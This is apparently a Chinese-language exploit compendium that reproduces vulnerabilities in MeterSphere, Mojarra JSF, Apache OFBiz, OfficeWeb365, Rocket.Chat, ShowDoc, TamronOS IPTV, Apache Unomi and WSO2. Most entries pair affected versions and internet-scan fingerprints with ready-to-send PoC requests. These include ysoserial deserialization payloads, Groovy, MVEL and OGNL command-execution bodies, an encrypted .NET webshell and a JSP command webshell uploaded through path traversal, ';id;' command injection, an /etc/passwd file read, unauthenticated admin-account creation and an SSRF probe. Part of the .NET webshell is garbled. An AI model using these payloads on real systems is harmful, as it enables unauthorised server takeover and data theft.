2022年1月5日,知道创宇404积极防御实验团队发现了MeterSphere开源持续测试平台的一处漏洞,并向MeterSphere研发团队进行了反馈。通过该漏洞攻击者可以在未授权的情况下执行远程代码,建议MeterSphere平台用户,尤其是可通过公网访问的用户尽快进行升级修复

漏洞影响

MeterSphere v1.13.0 - v1.16.3

网络测绘

app=”MeterSphere”

漏洞复现

登录页面

img

根据官方的修复可以看到目前版本的修复版本为删除代码片段

filterChainDefinitionMap.put(“/plugin/**”, “anon”);

https://github.com/metersphere/metersphere/pull/9140/files

img

查看文件 /backend/src/main/java/io/metersphere/controller/PluginController.java

img

发送请求包

POST /plugin/customMethod

{"entry":"Evil","request":"id"}

image-20240811165922424

Metersphere file 任意文件读取漏洞 CVE-2023-25573

漏洞描述

Metersphere file 接口存在任意文件读取漏洞,攻击者通过接口可以获取敏感文件压缩包

漏洞影响

Metersphere <=2.6.2

网络测绘

app.name=”MeterSphere”

漏洞复现

登陆页面

img

验证POC

POST /api/jmeter/download/files
Content-Type: application/json

{"reportId":"pass","bodyFiles":[{"id":"aaa","name":"/etc/passwd"}]}

image-20240811165950356

mojarra

jsf-viewstate-deserialization

Mojarra JSF ViewState 反序列化漏洞

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。

参考链接:

环境搭建

执行如下命令启动一个使用了JDK7u21和mojarra 2.1.28的JSF应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看到demo页面。

漏洞复现

JSF的ViewState结构如下:

根据这个结构,我们使用ysoserial的Jdk7u21利用链来生成一段合法的Payload:

$ java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0
H4sIAAVGF18AA61WzW8bRRR/Yye2Y9zmo/lsaZvQlnxAd/PlJsURbT5Ia3BIhNNUwocwXk/sbde7293ZZINEb/wBCJX/AJBoOPRCqx6QKm4tFyQkUFEluHADDhUSFz7e7G5iKwnYLV1pd2bf17z35jdv3tYv0Ghb0HWFrlPJ4aomZVT9KitcpHYpy/j32ndv33g0dCwE4FrQWpEK+Hfn3r/x0Z3b42HkmxsJAGg5dx7EE0KrryhGWbIdXTKsokRNqpSY5FKN6pKqc2bpVJNcW+OKxC3qSsusbGqUMzuNY9PlxXv61s2xMETScGBV1QtM52865Tyz0nBwFRV0W2M8jXQ3B/HV/CZnilFgNodwLjeTg8iqolEbf9tyGeG2jMsW5VlBS2WgcVWnZYbMKl6WW6peRGbrquFw0+FLlmEyi6vCaKcvKGKXK/SUa4pY/8bHsbyF3/izp6NY/GFCJEzwQkgP5Wa2Hnf9EYkt/xiQI5/d/+vul8gehbNxCMMLUZiIwqkovEigxWaWSrUVZtmqoV9KzxEgrxM4MGvoNqc6X6Gawxo/7/3w8QePfnuVQGRK1VWOk/DA4AqBhlnMAoFm3Ebm52uZ5jWktGUMBc1SNI7/AbGBl1SbwKEsd/LLQU6X6KZm0AKBRFrXmeWljKFQMrNpG75zsunL2H5CLtBCkXH75D5WUgSavM1aM6wyAWsgg5iQERMyYkL2MSF7mJC3MSF7mJDnFhdSuX2ly1pF1vdHfZdZcjaYUo55u0j1gsaslEhJrGAoThnxQ+D0Ey2PqiXfDoY/8/+dIRB/zVWYKWh2FPoJfPJk+ajpQYGX5bnlhWlXtdNIotywaivVlUM1MCdw8DReEIgGuSQw/SwymTUcS2HzqoBxIkCgJA5pAuLwXBQGCIw9BWAJnK93RyxH52qZydN5GyGu8G1LBNq9YqEaFee903a2XsvblnbQQuB4jVhwi6YULSgFrZWq9pbvZBSGMGcoGPwT6BgYzOwRSyXgZTgdh5dAworBDUcp9cq8bKLXisJsOwbDWDSYyxQC/QN7i2e1SSyTQgVNjsKYMDmOVSzLqXJ1gZpB/amKamkDi83oxPBIMpmcnBgZGR8Zm0CNvkwNkRT0QQhrKPqF72FohAiOUVF7IebREA74FZeTjCPBsXHoNpBbnsgB/EY8ogwH8ZvwBaAZJnHE0gjtKCWUz+EbFrTdiuOeYq/PDBTFrAM6PT6BLuhGjR6c+z4Ks0cCs2mPuo/ZSc/skM/c1+zzcBQ1xOwYHMflKwvEYHAn6JPIEVLNn0KYZO6A3DbyBSQv3/IUz3hBESHR663fB604xpEVghPQAk3ONbiOtoB8u3NnHRF3VkcUuqLQHYWeeu+saz+rv06VL3Q/mzsrPG8Ye+6oUzXvKNSqp3ocJnCiDlMYegXwi/krTPn301/rBP8njkn9OJ7aheM2j3/I+7ZX7W6n2F2TQwMeK8vcIODa73mYOCr8dyUsyNLO1V3pztztblHELFlsTcOgJTzs7uZP/Q97v26ZfRACkgFS4rgdlewEknJaX8dNrS7mrom94qjoE7etUV03uCcjTe9M9yheuv97c8eD6x+HIJSBRJkJ4HhIw36tuapfw3KDXV0D3zSx42vd0w16y+9qbVGlMfrw3led73yDR2Me4mK75rHGG9h+NvGSxeySoRVcM+h2Exsx0fuK9HGIrSVpkp4ZnhQnJ+auWzUyCpXHNd1/AEKwhdeSCwAA

然后,我们提交表单并抓包,修改其中javax.faces.ViewState字段的值为上述Payload(别忘了URL编码):

touch /tmp/success已成功执行:

image-20240805170916172

ofbiz

CVE-2020-9496

Apache OfBiz 反序列化命令执行漏洞(CVE-2020-9496)

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个Apache OfBiz 17.12.01版本:

docker compose up -d

在等待数分钟后,访问https://localhost:8443/accounting查看到登录页面,说明环境已启动成功。

漏洞复现

由于默认情况下没有报错信息,所以使用参考连接2中给出的方法无法正确判断漏洞是否存在,还是需要通过执行反序列化来复现漏洞。

使用ysoserial的CommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

将base64后的payload替换并发送如下数据包:

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

进入容器中,可见touch /tmp/success已成功执行:

image-20240805170953840

CVE-2023-49070

Apache OfBiz 反序列化命令执行漏洞(CVE-2023-49070)

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞,官方于后续的版本中对相关接口进行加固修复漏洞,但修复方法存在绕过问题(CVE-2023-49070),攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。

Apache OFBiz官方于18.12.10中彻底删除xmlrpc接口修复该漏洞。

参考链接:

漏洞环境

执行如下命令启动一个Apache OfBiz 18.12.09服务器:

docker compose up -d

在等待数分钟后,访问https://localhost:8443/accounting查看到登录页面,说明环境已启动成功。

漏洞复现

漏洞复现方式与CVE-2020-9496相似,只是需要绕过官方对于漏洞的补丁限制。

首先,仍然使用ysoserial的CommonsBeanutils1来生成Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"

使用CVE-2020-9496中的复现方法发送数据包,可见已经无法成功进入XMLRPC的解析流程:

把Path修改成/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y即可绕过限制:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

进入容器中,可见touch /tmp/success已成功执行:

4

CVE-2023-51467

Apache OFBiz 鉴权绕过导致命令执行(CVE-2023-51467)

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

这个漏洞的原因是对于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。来自长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。

参考连接:

漏洞环境

执行如下命令启动一个Apache OfBiz 18.12.10服务器:

docker compose up -d

在等待数分钟后,访问https://localhost:8443/accounting查看到登录页面,说明环境已启动成功。

漏洞复现

直接发送如下请求即可使用Groovy脚本执行id命令:

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

image-20240805171354182

OfficeWeb365

OfficeWeb365 SaveDraw 任意文件上传漏洞

漏洞描述

OfficeWeb365 SaveDraw 接口存在任意文件上传漏洞,攻击者通过漏洞可以在服务器中上传任意文件获取服务器权限

漏洞影响

OfficeWeb365

网络测绘

“OfficeWeb365”

漏洞复现

产品页面

img

验证POC

POST /PW/SaveDraw?path=../../Content/img&idx=6.ashx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.434.18 Safari/537.36
Content-Length: 990
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

data:image/png;base64,01s34567890123456789y12345678901234567m91<%@ WebHandler Language="C#" Class="Handler" %>using System;using System.I0;using System.Reflection;using System.Text;using System.Web;using System.WebSessionState;using&System.Security.Cryptography;public class Handler : IHttpHandler,IRequiresSessionState{public void=&ProcessRequest(HttpContext context){try{string key="900bc885d7553375";byteDk=&Encoding.Default.GetBytes(key);context.Session.AddC"sky", key);StreamReader sr=new&StreamReader(contextRequest.InputStream);string line=sr.ReadLine;if(!string.IsNullOrEmpty(line)){byteDc=&Convert.FromBase64String(line);Assembly assembly=&typeof(Environment).Assembly;RijndaelManaged rm=(RijndaelManaged)&assembly.CreateInstance("System.Secur"+"ityCrypto"+"graphy.Rijnda"+"elm anaged");byte[ data=rm.CreateDecryptorCk,k)TransformFinalBlock(c,0, c.Length);Assembly.Load(data)CreateInstance("U").Equals(context);sr.clo se();}}catch {}}public bool IsReusable{get{return false;}}}}---

img

上传地址

/Content/img/UserDraw/drawPW6.ashx

rocketchat

CVE-2021-22911

Rocket Chat MongoDB 注入漏洞

Rocket Chat是一款基于Node.js、MongoDB的开源团队聊天工具。在其3.12.1~3.13.2版本中,存在一处MongoDB注入漏洞,利用这个漏洞,攻击者可以获取用户敏感信息,甚至在服务器上执行任意命令。

这个漏洞有两种攻击方式:

  • 未授权攻击者可以利用这个漏洞,获取任意普通用户的Password Reset Token,并通过这个Token修改其密码
  • 普通用户可以利用这个漏洞,获取任意用户的任意信息

参考链接:

环境搭建

执行如下命令启动一个Rocket Chat 3.12.1:

docker compose up -d

环境启动后,访问http://your-ip:3000即可查看到Rocket Chat的安装向导,跟随向导进行安装即可。

安装完成后,为了验证第一个攻击方法,我们需要在后台增加一个普通用户,用户名为vulhub,邮箱为vulhub@vulhub.org

漏洞复现

我们只来复现第一种利用方式。复现这个漏洞需要三步:

  1. 通过邮箱找回密码,后台会在数据库中会生成Password Reset Token
  2. 利用MongoDB注入,获取这个Password Reset Token
  3. 使用Password Reset Token来更改这个用户的密码

其中,我们使用$regex语句进行MongoDB注入,当$regex: ^7时,不匹配,返回一个错误信息:

$regex: ^8时能够匹配,返回正确信息:

将注入的过程通过CVE-2021-22911.py这个小脚本进行实现,自动化获取Password Reset Token:

使用Password Reset Token修改用户密码成功:

image-20240805171859555

showdoc

3.2.5-sqli

ShowDoc 3.2.5 SQL注入漏洞

ShowDoc 是一个开源的在线共享文档工具。

ShowDoc <= 3.2.5 存在一处未授权SQL注入漏洞,攻击者可以利用该漏洞窃取保存在SQLite数据库中的用户密码和Token。

参考链接:

漏洞环境

执行如下命令启动一个ShowDoc 2.8.2服务器:

docker compose up -d

服务启动后,访问http://your-ip:8080即可查看到ShowDoc的主页。初始化成功后,使用帐号showdoc和密码123456登录用户界面。

漏洞复现

一旦一个用户登录进ShowDoc,其用户token将会被保存在SQLite数据库中。相比于获取hash后的用户密码,用户token是一个更好地选择。

在利用该漏洞前,需要安装验证码识别库,因为该漏洞需要每次请求前传入验证验:

pip install onnxruntime ddddocr requests

然后,执行这个POC来获取token:

python3 poc.py -u http://localhost:8080

测试一下这个token是否是合法的:

image-20240805171702770

CNVD-2020-26585

ShowDoc 前台任意文件上传(CNVD-2020-26585)

Showdoc 是一个开源的在线共享文档工具。

Showdoc <= 2.8.6 存在uploadImg 文件上传漏洞,该漏洞源于未正确使用upload方法至文件后缀限制失效,攻击者可在未授权的情况下上传任意文件,进而获取服务器权限等。

参考链接:

漏洞影响

ShowDoc < V2.8.3

网络测绘

app=”ShowDoc”

漏洞环境

执行如下命令启动一个ShowDoc 2.8.2服务器:

docker compose up -d

服务启动后,访问http://your-ip:8080即可查看到ShowDoc的主页。

漏洞复现

发送如下请求上传一个PHP文件:

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Length: 213

------WebKitFormBoundary0RdOKBR8AmAxfRyl
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?=phpinfo();?>
------WebKitFormBoundary0RdOKBR8AmAxfRyl--

PHP文件路径将返回在数据包中:

访问即可查看到phpinfo()执行结果:

image-20240805171730171

CVE-2021-36440

ShowDoc AdminUpdateController.class.php 任意文件上传漏洞

漏洞描述

ShowDoc AdminUpdateController.class.php 文件中的更新部分代码没有鉴权且存在任意文件上传漏洞

漏洞影响

ShowDoc < V2.9.5

网络测绘

app=”ShowDoc”

漏洞复现

登录页面

img

文件路径server/Application/Api/Controller/AdminUpdateController.class.php

img

public function download(){
        set_time_limit(1000);
        ini_set('memory_limit','500M');
        $new_version = I("new_version") ;
        $file_url = I("file_url") ;
        $version_num = str_replace("v","",$new_version) ;

        $showdoc_path = "../" ;

        // 进行文件读写权限检查
        if(!$this->new_is_writeable($showdoc_path)
            || !$this->new_is_writeable($showdoc_path."Sqlite/" )
            || !$this->new_is_writeable($showdoc_path."web/" )
            || !$this->new_is_writeable($showdoc_path."web/index.php" )
            || !$this->new_is_writeable($showdoc_path."server/" )
            || !$this->new_is_writeable($showdoc_path."server/vendor/autoload.php" )
            || !$this->new_is_writeable($showdoc_path."server/Application/Api" )
        ){
            $this->sendError(10101,'请手动给showdoc安装目录下的所有文件可写权限,否则程序无法覆盖旧文件');
            return ;
        }

        $temp_dir = sys_get_temp_dir()."/showdoc_update/";
        $zip_file = $temp_dir.'showdoc-'.$version_num.'.zip' ;
        mkdir($temp_dir) ;
        unlink($zip_file);
        $file = file_get_contents($file_url);
        file_put_contents($zip_file,$file);
        
        $zip = new \ZipArchive();
        $flag = $zip->open($zip_file);
        if($flag!==true){
            $this->sendError(10101,'下载更新压缩包失败');
            return ;
        }
        $zip->extractTo($temp_dir);
        $flag = $zip->close();
        
        $zip_file_subpath = $temp_dir.'showdoc-'.$version_num."/" ;
        
        if(file_exists($zip_file_subpath.'composer.json') && file_exists($zip_file_subpath.'web/index.php') && file_exists($zip_file_subpath.'server/vendor/autoload.php') ){
            //echo $zip_file_subpath.'存在';
            // 移动目录到upload/update
            $this->copydir($zip_file_subpath ,$showdoc_path.'Public/Uploads/update/' );
            $this->deldir($temp_dir);
            $this->sendResult(array());
        
        }else{
            $this->sendError(10101,'下载更新压缩包后,解压的文件缺失');
            return ;
        }
    }

这里可以看到 $file_url 参数可控,可在任意URl下载 zip文件,向后看看ZIP要求为需要存在部分文件

if(file_exists($zip_file_subpath.'composer.json') && file_exists($zip_file_subpath.'web/index.php') && file_exists($zip_file_subpath.'server/vendor/autoload.php') ){

制作ZIP包, index.php 为恶意文件

img

发送请求包

POST /server/index.php?s=/api/adminUpdate/download
  
file_url=http://xxx.xxx.xxx:8888/showdoc-2.zip&new_version=2

img

访问上传的文件页面 `Public/Uploads/update/web/index.php

TamronOS

TamronOS IPTV系统 ping 任意命令执行漏洞

漏洞描述

TamronOS IPTV系统 api/ping 存在任意命令执行漏洞,攻击者通过漏洞可以执行任意命令

漏洞影响

TamronOS IPTV系统

网络测绘

app=”TamronOS-IPTV系统”

漏洞复现

登录页面如下

img

漏洞POC为

/api/ping?count=5&host=;id;

image-20240811200441433

TamronOS IPTV系统 submit 任意用户创建漏洞

漏洞描述

TamronOS IPTV系统 /api/manager/submit 存在任意用户创建漏洞,攻击者通过漏洞可以任意用户创建进入后台

漏洞影响

TamronOS IPTV系统

网络测绘

app=”TamronOS-IPTV系统”

漏洞复现

登录页面如下

img

漏洞POC为

/api/manager/submit?group=1&username=test&password=123456

img

user: test
pass: 123456

image-20240811200507567

unomi

CVE-2020-13942

Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942)

Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。

参考链接:

环境搭建

运行如下命令启动一个Apache Unomi 1.5.1的服务器:

docker compose up -d

环境启动后,通过http://your-ip:8181https://your-ip:9443即可访问到Unomi的API。

漏洞复现

通过8181和9443两个端口均可触发漏洞,以下以8181为例。

通过MVEL表达式执行任意命令:

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

通过OGNL表达式执行任意命令:

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"sample"
}

进入容器,可见命令已执行成功:

image-20240805171438689

WSO2

WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464

漏洞描述

CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。

漏洞影响

WSO2 API Manager 2.2.0 and above

WSO2 Identity Server 5.2.0 and above

WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0

WSO2 Identity Server as Key Manager 5.3.0 and above

WSO2 Enterprise Integrator 6.2.0 and above

环境搭建

https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip

https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip

漏洞复现

下载 releases 后进入 bin目录, 执行 api.manager.sh文件,并开启 debug 方便远程调试

img

打开 product-apim-4.0.0 ,下载依赖,连接Debug进行调试分析

img

运行后访问 localhost:9443 出现如下即搭建完成img

在配置文件 identity.xml 中我们可以看到 路由 /fileupload 中不存在权限鉴定, 对应的 Servlet 为 FileUploadServlet

img

文件上传为POST请求,对应的处理方法为 doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)

protected void doPost(HttpServletRequest request,
                          HttpServletResponse response) throws ServletException, IOException {

        try {
            fileUploadExecutorManager.execute(request, response);
        } catch (Exception e) {
            String msg = "File upload failed ";
            log.error(msg, e);
            throw new ServletException(e);
        }
    }

继续向下,略过调用方法的过程

execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)
startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)
execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)

img

img

最后来到出现漏洞的位置 org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute

这里我们构造请求包,上传文件

POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

img

上传时文件名为 1.jsp,成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下

img

public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {

	@Override
	public boolean execute(HttpServletRequest request,
			HttpServletResponse response) throws CarbonException, IOException {
		PrintWriter out = response.getWriter();
        try {
        	Map fileResourceMap =
                (Map) configurationContext
                        .getProperty(ServerConstants.FILE_RESOURCE_MAP);
        	if (fileResourceMap == null) {
        		fileResourceMap = new TreeBidiMap();
        		configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,
                                             fileResourceMap);
        	}
            List<FileItemData> fileItems = getAllFileItems();
            //String filePaths = "";

            for (FileItemData fileItem : fileItems) {
                String uuid = String.valueOf(
                        System.currentTimeMillis() + Math.random());
                String serviceUploadDir =
                        configurationContext
                                .getProperty(ServerConstants.WORK_DIR) +
                                File.separator +
                                "extra" + File
                                .separator +
                                uuid + File.separator;
                File dir = new File(serviceUploadDir);
                if (!dir.exists()) {
                    dir.mkdirs();
                }
                File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
                try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
                    fileItem.getDataHandler().writeTo(fileOutStream);
                    fileOutStream.flush();
                }
                response.setContentType("text/plain; charset=utf-8");
                //filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";
                fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
                out.write(uuid);
            }
            //filePaths = filePaths.substring(0, filePaths.length() - 1);
            //out.write(filePaths);
            out.flush();
        } catch (Exception e) {
            log.error("File upload FAILED", e);
            out.write("<script type=\"text/javascript\">" +
                    "top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +
                    "</script>");
        } finally {
            out.close();
        }
        return true;
	}

}

img

但文件名是我们可控的,拼接的过程中我们通过控制文件名遍历目录,将文件上传到我们需要的位置, 查找可以解析 jsp文件的目录

img

构造请求包,通过控制文件名的方法上传至该目录中

POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

img

访问上传的文件,/authenticationendpoint/xxx.jsp?cmd=ls

image-20240811203320363

WSO2 proxy SSRF漏洞 WSO2-2019-0598

漏洞描述

滥用 shindig Web 应用程序的 UI 小工具加载功能可以利用此漏洞。攻击者可以更改请求中的特定 URL,从而导致服务器向更改后的 URL 发起 GET 请求。通过利用此漏洞,攻击者可以使用服务器执行任意外部服务交互。这可以特别用于与内部网络的节点进行交互,否则这些节点会被网络规则隐藏在外部。攻击者可以利用它来追踪和侦察网络,除此之外,如果有内部端点对 GET 请求进行状态更改操作,那么就有可能很好地破坏它们的完整性。根据端点实施的保护级别,此漏洞的影响可能会有所不同。

漏洞影响

WSO2 Identity Server 5.2.0 , 5.3.0 , 5.4.0 , 5.4.1 , 5.5.0 , 5.6.0 , 5.7.0

WSO2 IS as Key Manager 5.3.0 , 5.5.0 , 5.6.0 , 5.7.0

环境搭建

https://github.com/wso2/product-is/releases/download/v5.6.0-rc3/wso2is-5.6.0-rc3.zip

漏洞复现

根据官方描述,漏洞造成的原因主要是 shindig Web 应用程序的 UI 小工具的加载功能, WSO2-2019-0598

img

下载源码启动环境,在IDEA中调试,

img

img

根据官方描述,在全局搜索 shindig 相关代码

img

打下断点,看一下访问 /shindig/gadgets/js 路径时代码的调用流程

img

可以看到当访问此路径时,调用了对应的 Servlet 下的 doGet方法 来处理(org.apache.shindig.gadgets.servlet.JsServlet.doGet(JsServlet.java:86)

img

我们可以在文件 conf/shindig/web.xml 找到对应的调用方法
img

看到这我们注意到 org.apache.shindig.gadgets.servlet.MakeRequestServlet 似乎与 Jira未授权SSRF漏洞(CVE-2019-8451) 中存在的漏洞点十分的相似

img

但断点调试过程中,却发现这个点是利用失败的

img

img

只好去看一下其他的Servele , 最后我们注意到 ProxyServlet

img

发送请求包,打断点看一下处理流程

GET /shindig/gadgets/proxy?container=default&url=https://www.baidu.com HTTP/1.1
Host: localhost:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
